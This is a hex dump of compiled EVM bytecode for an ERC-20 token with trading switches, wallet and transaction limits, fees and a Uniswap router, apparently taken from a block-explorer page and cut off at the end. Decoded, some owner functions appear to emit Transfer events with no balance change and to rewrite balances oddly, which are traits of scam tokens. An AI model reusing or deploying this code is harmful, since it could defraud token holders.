20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613a5c602283612b9f565b9150613a6782613a00565b604082019050919050565b60006020820190508181036000830152613a8b81613a4f565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613ac8602083612b9f565b9150613ad382613a92565b602082019050919050565b60006020820190508181036000830152613af781613abb565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000613b34601d83612b9f565b9150613b3f82613afe565b602082019050919050565b60006020820190508181036000830152613b6381613b27565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613bc6602583612b9f565b9150613bd182613b6a565b604082019050919050565b60006020820190508181036000830152613bf581613bb9565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613c58602383612b9f565b9150613c6382613bfc565b604082019050919050565b60006020820190508181036000830152613c8781613c4b565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b6000613cc4601683612b9f565b9150613ccf82613c8e565b602082019050919050565b60006020820190508181036000830152613cf381613cb7565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b6000613d56603583612b9f565b9150613d6182613cfa565b604082019050919050565b60006020820190508181036000830152613d8581613d49565b9050919050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b6000613dc2601383612b9f565b9150613dcd82613d8c565b602082019050919050565b60006020820190508181036000830152613df181613db5565b9050919050565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b6000613e54603683612b9f565b9150613e5f82613df8565b604082019050919050565b60006020820190508181036000830152613e8381613e47565b9050919050565b6000613e9582612cb8565b9150613ea083612cb8565b9250828203905081811115613eb857613eb7613409565b5b92915050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b6000613f1a602183612b9f565b9150613f2582613ebe565b604082019050919050565b60006020820190508181036000830152613f4981613f0d565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b6000613fac602283612b9f565b9150613fb782613f50565b604082019050919050565b60006020820190508181036000830152613fdb81613f9f565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b600061403e602683612b9f565b915061404982613fe2565b604082019050919050565b6000602082019050818103600083015261406d81614031565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006140ae82612cb8565b91506140b983612cb8565b9250826140c9576140c8614074565b5b828204905092915050565b60006060820190506140e9600083018661305d565b6140f6602083018561305d565b6141036040830184612d64565b949350505050565b60008151905061411a81612c8c565b92915050565b60006020828403121561413657614135612c50565b5b60006141448482850161410b565b91505092915050565b6000819050919050565b600061417261416d6141688461414d565b612f77565b612cb8565b9050919050565b61418281614157565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6141bd81612c7a565b82525050565b60006141cf83836141b4565b60208301905092915050565b6000602082019050919050565b60006141f382614188565b6141fd8185614193565b9350614208836141a4565b8060005b8381101561423957815161422088826141c3565b975061422b836141db565b92505060018101905061420c565b5085935050505092915050565b600060a08201905061425b6000830188612d64565b6142686020830187614179565b818103604083015261427a81866141e8565b9050614289606083018561305d565b6142966080830184612d64565b969550505050505056fea26469706673582212207dbf631e772bde53496357acef04b12a50dde24d6da96dfdd6f31d537c77e2d464736f6c63430008130033000000000000000000000000f03e287d7d5031f276147f8f53b7730a24856d6f000000000000000000000000ccc82bbe0da8ef7ab462115b3f9315486f55ac63

Deployed Bytecode

0x6080604052600436106102295760003560e01c806389291a8f11610123578063c8c8ebe4116100ab578063de0e9a3e1161006f578063de0e9a3e146107c8578063e2f45605146107f1578063f2fde38b1461081c578063f8b45b0514610845578063ffb54a991461087057610230565b8063c8c8ebe4146106f3578063c9567bf91461071e578063cf9522fd14610735578063dd62ed3e14610760578063dd8546521461079d57610230565b8063a457c2d7116100f2578063a457c2d7146105fe578063a9059cbb1461063b578063ad29ffde14610678578063afa4f3b2146106a1578063c2b7bbb6146106ca57610230565b806389291a8f146105685780638da5cb5b1461057f57806395d89b41146105aa5780639a7a23d6146105d557610230565b80633be6e637116101b157806370a082311161017557806370a08231146104bd578063715018a6146104fa578063751039fc146105115780637571336a146105285780637d16a7211461055157610230565b80633be6e637146103d857806342966c68146104015780634fbee1931461042a578063583e0568146104675780636ddd17131461049257610230565b806323b872dd116101f857806323b872dd146102df57806326ededb81461031c578063311028af14610345578063313ce56714610370578063395093511461039b57610230565b806306fdde0314610235578063095ea7b3146102605780630f054c061461029d57806318160ddd146102b457610230565b3661023057005b600080fd5b34801561024157600080fd5b5061024a61089b565b6040516102579190612c24565b60405180910390f35b34801561026c57600080fd5b5061028760048036038101906102829190612cee565b61092d565b6040516102949190612d49565b60405180910390f35b3480156102a957600080fd5b506102b2610950565b005b3480156102c057600080fd5b506102c9610aa1565b6040516102d69190612d73565b60405180910390f35b3480156102eb57600080fd5b5061030660048036038101906103019190612d8e565b610aab565b6040516103139190612d49565b60405180910390f35b34801561032857600080fd5b50610343600480360381019061033e9190612e46565b610ada565b005b34801561035157600080fd5b5061035a610bb7565b6040516103679190612d73565b60405180910390f35b34801561037c57600080fd5b50610385610bbd565b6040516103929190612ec2565b60405180910390f35b3480156103a757600080fd5b506103c260048036038101906103bd9190612cee565b610bc6565b6040516103cf9190612d49565b60405180910390f35b3480156103e457600080fd5b506103ff60048036038101906103fa9190612edd565b610bfd565b005b34801561040d57600080fd5b5061042860048036038101906104239190612f1d565b610c68565b005b34801561043657600080fd5b50610451600480360381019061044c9190612f4a565b610c84565b60405161045e9190612d49565b60405180910390f35b34801561047357600080fd5b5061047c610cda565b6040516104899190612fd6565b60405180910390f35b34801561049e57600080fd5b506104a7610cfe565b6040516104b49190612d49565b60405180910390f35b3480156104c957600080fd5b506104e460048036038101906104df9190612f4a565b610d11565b6040516104f19190612d73565b60405180910390f35b34801561050657600080fd5b5061050f610d59565b005b34801561051d57600080fd5b50610526610d6d565b005b34801561053457600080fd5b5061054f600480360381019061054a919061301d565b610d92565b005b34801561055d57600080fd5b50610566610df5565b005b34801561057457600080fd5b5061057d610e1a565b005b34801561058b57600080fd5b50610594610eae565b6040516105a1919061306c565b60405180910390f35b3480156105b657600080fd5b506105bf610ed8565b6040516105cc9190612c24565b60405180910390f35b3480156105e157600080fd5b506105fc60048036038101906105f7919061301d565b610f6a565b005b34801561060a57600080fd5b5061062560048036038101906106209190612cee565b611010565b6040516106329190612d49565b60405180910390f35b34801561064757600080fd5b50610662600480360381019061065d9190612cee565b611087565b60405161066f9190612d49565b60405180910390f35b34801561068457600080fd5b5061069f600480360381019061069a91906131c5565b6110aa565b005b3480156106ad57600080fd5b506106c860048036038101906106c39190612f1d565b6111af565b005b3480156106d657600080fd5b506106f160048036038101906106ec9190612f4a565b6111df565b005b3480156106ff57600080fd5b5061070861122b565b6040516107159190612d73565b60405180910390f35b34801561072a57600080fd5b50610733611231565b005b34801561074157600080fd5b5061074a611256565b6040516107579190612d73565b60405180910390f35b34801561076c57600080fd5b5061078760048036038101906107829190613221565b61125c565b6040516107949190612d73565b60405180910390f35b3480156107a957600080fd5b506107b26112e3565b6040516107bf9190612d73565b60405180910390f35b3480156107d457600080fd5b506107ef60048036038101906107ea9190612f1d565b6112e9565b005b3480156107fd57600080fd5b506108066113c6565b6040516108139190612d73565b60405180910390f35b34801561082857600080fd5b50610843600480360381019061083e9190612f4a565b6113cc565b005b34801561085157600080fd5b5061085a61144f565b6040516108679190612d73565b60405180910390f35b34801561087c57600080fd5b50610885611455565b6040516108929190612d49565b60405180910390f35b6060600580546108aa90613290565b80601f01602080910402602001604051908101604052809291908181526020018280546108d690613290565b80156109235780601f106108f857610100808354040283529160200191610923565b820191906000526020600020905b81548152906001019060200180831161090657829003601f168201915b5050505050905090565b600080610938611468565b9050610945818585611470565b600191505092915050565b610958611639565b600030905060008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610998919061306c565b602060405180830381865afa1580156109b5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109d991906132d6565b905060008111610a1e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a159061334f565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401610a5992919061336f565b6020604051808303816000875af1158015610a78573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a9c91906133ad565b505050565b6000600454905090565b600080610ab6611468565b9050610ac38582856116b7565b610ace858585611743565b60019150509392505050565b610ae2611639565b60005b83839050811015610bb157838382818110610b0357610b026133da565b5b9050602002016020810190610b189190612f4a565b73ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b969190612d73565b60405180910390a38080610ba990613438565b915050610ae5565b50505050565b600f5481565b60006009905090565b600080610bd1611468565b9050610bf2818585610be3858961125c565b610bed9190613480565b611470565b600191505092915050565b610c05611639565b60148211158015610c17575060328111155b610c56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4d90613500565b60405180910390fd5b81601481905550806013819055505050565b610c70611639565b610c81610c7b611468565b8261204a565b50565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b601560009054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610d61611639565b610d6b600061221f565b565b610d75611639565b6000610d7f610aa1565b9050806012819055508060118190555050565b610d9a611639565b80601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b610dfd611639565b6001601560006101000a81548160ff021916908315150217905550565b610e22611639565b60004711610e65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5c9061356c565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610eab573d6000803e3d6000fd5b50565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054610ee790613290565b80601f0160208091040260200160405190810160405280929190818152602001828054610f1390613290565b8015610f605780601f10610f3557610100808354040283529160200191610f60565b820191906000526020600020905b815481529060010190602001808311610f4357829003601f168201915b5050505050905090565b610f72611639565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611002576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff9906135fe565b60405180910390fd5b61100c82826122e5565b5050565b60008061101b611468565b90506000611029828661125c565b90508381101561106e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106590613690565b60405180910390fd5b61107b8286868403611470565b60019250505092915050565b600080611092611468565b905061109f818585611743565b600191505092915050565b6110b2611639565b60005b82518110156111aa5781600160008584815181106110d6576110d56133da565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550828181518110611142576111416133da565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff167f3499bfcf9673677ba552f3fe2ea274ec7e6246da31c3c87e115b45a9b0db2efb8360405161118f9190612d49565b60405180910390a280806111a290613438565b9150506110b5565b505050565b6111b7611639565b6111bf610bbd565b600a6111cb91906137e3565b816111d6919061382e565b60108190555050565b6111e7611639565b80600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60125481565b611239611639565b6001601560016101000a81548160ff021916908315150217905550565b60135481565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60145481565b806112f333610d11565b1015611334576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161132b906138bc565b60405180910390fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b815260040161139192919061336f565b600060405180830381600087803b1580156113ab57600080fd5b505af11580156113bf573d6000803e3d6000fd5b5050505050565b60105481565b6113d4611639565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611443576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143a9061394e565b60405180910390fd5b61144c8161221f565b50565b60115481565b601560019054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036114df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d6906139e0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361154e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154590613a72565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161162c9190612d73565b60405180910390a3505050565b611641611468565b73ffffffffffffffffffffffffffffffffffffffff1661165f612386565b73ffffffffffffffffffffffffffffffffffffffff16146116b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ac90613ade565b60405180910390fd5b565b60006116c3848461125c565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461173d578181101561172f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161172690613b4a565b60405180910390fd5b61173c8484848403611470565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036117b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117a990613bdc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611821576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181890613c6e565b60405180910390fd5b43601881905550600081036118415761183c8383600061239a565b612045565b611849610eae565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156118b75750611887610eae565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118f05750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561192a575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119435750600e60149054906101000a900460ff16155b15611cbd57601560019054906101000a900460ff16611a3d57600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806119fd5750600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611a3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3390613cda565b60405180910390fd5b5b601854600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611b265750601760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611bcd57601254811115611b70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6790613d6c565b60405180910390fd5b601154611b7c83610d11565b82611b879190613480565b1115611bc8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bbf90613dd8565b60405180910390fd5b611cbc565b601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611c705750601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611cbb57601254811115611cba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cb190613e6a565b60405180910390fd5b5b5b5b6000611cc830610d11565b905060008082119050808015611cea5750601560009054906101000a900460ff165b8015611d035750600e60149054906101000a900460ff16155b8015611d595750601660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611daf5750600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611e055750600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611e4a576001600e60146101000a81548160ff021916908315150217905550611e2e83612610565b6000600e60146101000a81548160ff0219169083151502179055505b600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460185411611e9e57611e9d3086856127a2565b5b6000600e60149054906101000a900460ff169050600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611f535750600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611f5d57600090505b6000811561203557601660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611fe657611fdf6064611fd16013548861285790919063ffffffff16565b61286d90919063ffffffff16565b9050612011565b61200e60646120006014548861285790919063ffffffff16565b61286d90919063ffffffff16565b90505b60008111156120265761202587308361239a565b5b80856120329190613e8a565b94505b61204087878761239a565b505050505b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036120b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120b090613f30565b60405180910390fd5b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561213f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161213690613fc2565b60405180910390fd5b8160085461214d9190613e8a565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600460008282546121a19190613e8a565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516122069190612d73565b60405180910390a361221a83600084612883565b505050565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b80601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b600080612391612888565b90508091505090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612409576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161240090613bdc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612478576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161246f90613c6e565b60405180910390fd5b612483838383612930565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612509576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161250090614054565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516125f79190612d73565b60405180910390a361260a848484612883565b50505050565b600061261b30610d11565b9050600080820361262d57505061279f565b600060135460145461263f9190613480565b036126bb57600082118015612655575060105482105b15612662578190506126b6565b600061268c606461267e6013548761285790919063ffffffff16565b61286d90919063ffffffff16565b9050808461269a9190613e8a565b93506010548411156126b05760105491506126b4565b8391505b505b612793565b6000821180156126df57506126dc600560105461286d90919063ffffffff16565b82105b156126eb57505061279f565b60008211801561270f575061270c600560105461286d90919063ffffffff16565b82115b801561271c575060105482105b1561273e57612737600560105461286d90919063ffffffff16565b9050612792565b6000612768606461275a6013548761285790919063ffffffff16565b61286d90919063ffffffff16565b905080846127769190613e8a565b935060105484111561278c576010549150612790565b8391505b505b5b61279c81612935565b50505b50565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd83856103e8856127f091906140a3565b6040518463ffffffff1660e01b815260040161280e939291906140d4565b6020604051808303816000875af115801561282d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061285191906133ad565b50505050565b60008183612865919061382e565b905092915050565b6000818361287b91906140a3565b905092915050565b505050565b60008073ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461290757600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661292b565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b505050565b6000600267ffffffffffffffff81111561295257612951613087565b5b6040519080825280602002602001820160405280156129805781602001602082028036833780820191505090505b5090503081600081518110612998576129976133da565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612a3d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612a619190614120565b81600181518110612a7557612a746133da565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612ada307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611470565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b8152600401612b5e959493929190614246565b600060405180830381600087803b158015612b7857600080fd5b505af1158015612b8c573d6000803e3d6000fd5b505050505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612bce578082015181840152602081019050612bb3565b60008484015250505050565b6000601f19601f8301169050919050565b6000612bf682612b94565b612c008185612b9f565b9350612c10818560208601612bb0565b612c1981612bda565b840191505092915050565b60006020820190508181036000830152612c3e8184612beb565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612c8582612c5a565b9050919050565b612c9581612c7a565b8114612ca057600080fd5b50565b600081359050612cb281612c8c565b92915050565b6000819050919050565b612ccb81612cb8565b8114612cd657600080fd5b50565b600081359050612ce881612cc2565b92915050565b60008060408385031215612d0557612d04612c50565b5b6000612d1385828601612ca3565b9250506020612d2485828601612cd9565b9150509250929050565b60008115159050919050565b612d4381612d2e565b82525050565b6000602082019050612d5e6000830184612d3a565b92915050565b612d6d81612cb8565b82525050565b6000602082019050612d886000830184612d64565b92915050565b600080600060608486031215612da757612da6612c50565b5b6000612db586828701612ca3565b9350506020612dc686828701612ca3565b9250506040612dd786828701612cd9565b9150509250925092565b600080fd5b600080fd5b600080fd5b60008083601f840112612e0657612e05612de1565b5b8235905067ffffffffffffffff811115612e2357612e22612de6565b5b602083019150836020820283011115612e3f57612e3e612deb565b5b9250929050565b600080600060408486031215612e5f57612e5e612c50565b5b600084013567ffffffffffffffff811115612e7d57612e7c612c55565b5b612e8986828701612df0565b93509350506020612e9c86828701612cd9565b9150509250925092565b600060ff82169050919050565b612ebc81612ea6565b82525050565b6000602082019050612ed76000830184612eb3565b92915050565b60008060408385031215612ef457612ef3612c50565b5b6000612f0285828601612cd9565b9250506020612f1385828601612cd9565b9150509250929050565b600060208284031215612f3357612f32612c50565b5b6000612f4184828501612cd9565b91505092915050565b600060208284031215612f6057612f5f612c50565b5b6000612f6e84828501612ca3565b91505092915050565b6000819050919050565b6000612f9c612f97612f9284612c5a565b612f77565b612c5a565b9050919050565b6000612fae82612f81565b9050919050565b6000612fc082612fa3565b9050919050565b612fd081612fb5565b82525050565b6000602082019050612feb6000830184612fc7565b92915050565b612ffa81612d2e565b811461300557600080fd5b50565b60008135905061301781612ff1565b92915050565b6000806040838503121561303457613033612c50565b5b600061304285828601612ca3565b925050602061305385828601613008565b9150509250929050565b61306681612c7a565b82525050565b6000602082019050613081600083018461305d565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6130bf82612bda565b810181811067ffffffffffffffff821117156130de576130dd613087565b5b80604052505050565b60006130f1612c46565b90506130fd82826130b6565b919050565b600067ffffffffffffffff82111561311d5761311c613087565b5b602082029050602081019050919050565b600061314161313c84613102565b6130e7565b9050808382526020820190506020840283018581111561316457613163612deb565b5b835b8181101561318d57806131798882612ca3565b845260208401935050602081019050613166565b5050509392505050565b600082601f8301126131ac576131ab612de1565b5b81356131bc84826020860161312e565b91505092915050565b600080604083850312156131dc576131db612c50565b5b600083013567ffffffffffffffff8111156131fa576131f9612c55565b5b61320685828601613197565b925050602061321785828601613008565b9150509250929050565b6000806040838503121561323857613237612c50565b5b600061324685828601612ca3565b925050602061325785828601612ca3565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806132a857607f821691505b6020821081036132bb576132ba613261565b5b50919050565b6000815190506132d081612cc2565b92915050565b6000602082840312156132ec576132eb612c50565b5b60006132fa848285016132c1565b91505092915050565b7f4e6f20746f6b656e7320746f20636c6561720000000000000000000000000000600082015250565b6000613339601283612b9f565b915061334482613303565b602082019050919050565b600060208201905081810360008301526133688161332c565b9050919050565b6000604082019050613384600083018561305d565b6133916020830184612d64565b9392505050565b6000815190506133a781612ff1565b92915050565b6000602082840312156133c3576133c2612c50565b5b60006133d184828501613398565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061344382612cb8565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361347557613474613409565b5b600182019050919050565b600061348b82612cb8565b915061349683612cb8565b92508282019050808211156134ae576134ad613409565b5b92915050565b7f466565732063616e6e6f74206578636565642033302500000000000000000000600082015250565b60006134ea601683612b9f565b91506134f5826134b4565b602082019050919050565b60006020820190508181036000830152613519816134dd565b9050919050565b7f546f6b656e3a206e6f2045544820746f20636c65617200000000000000000000600082015250565b6000613556601683612b9f565b915061356182613520565b602082019050919050565b6000602082019050818103600083015261358581613549565b9050919050565b7f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060008201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000602082015250565b60006135e8603983612b9f565b91506135f38261358c565b604082019050919050565b60006020820190508181036000830152613617816135db565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b600061367a602583612b9f565b91506136858261361e565b604082019050919050565b600060208201905081810360008301526136a98161366d565b9050919050565b60008160011c9050919050565b6000808291508390505b6001851115613707578086048111156136e3576136e2613409565b5b60018516156136f25780820291505b8081029050613700856136b0565b94506136c7565b94509492505050565b60008261372057600190506137dc565b8161372e57600090506137dc565b8160018114613744576002811461374e5761377d565b60019150506137dc565b60ff8411156137605761375f613409565b5b8360020a91508482111561377757613776613409565b5b506137dc565b5060208310610133831016604e8410600b84101617156137b25782820a9050838111156137ad576137ac613409565b5b6137dc565b6137bf84848460016136bd565b925090508184048111156137d6576137d5613409565b5b81810290505b9392505050565b60006137ee82612cb8565b91506137f983612ea6565b92506138267fffffffffffffffffffffffffffff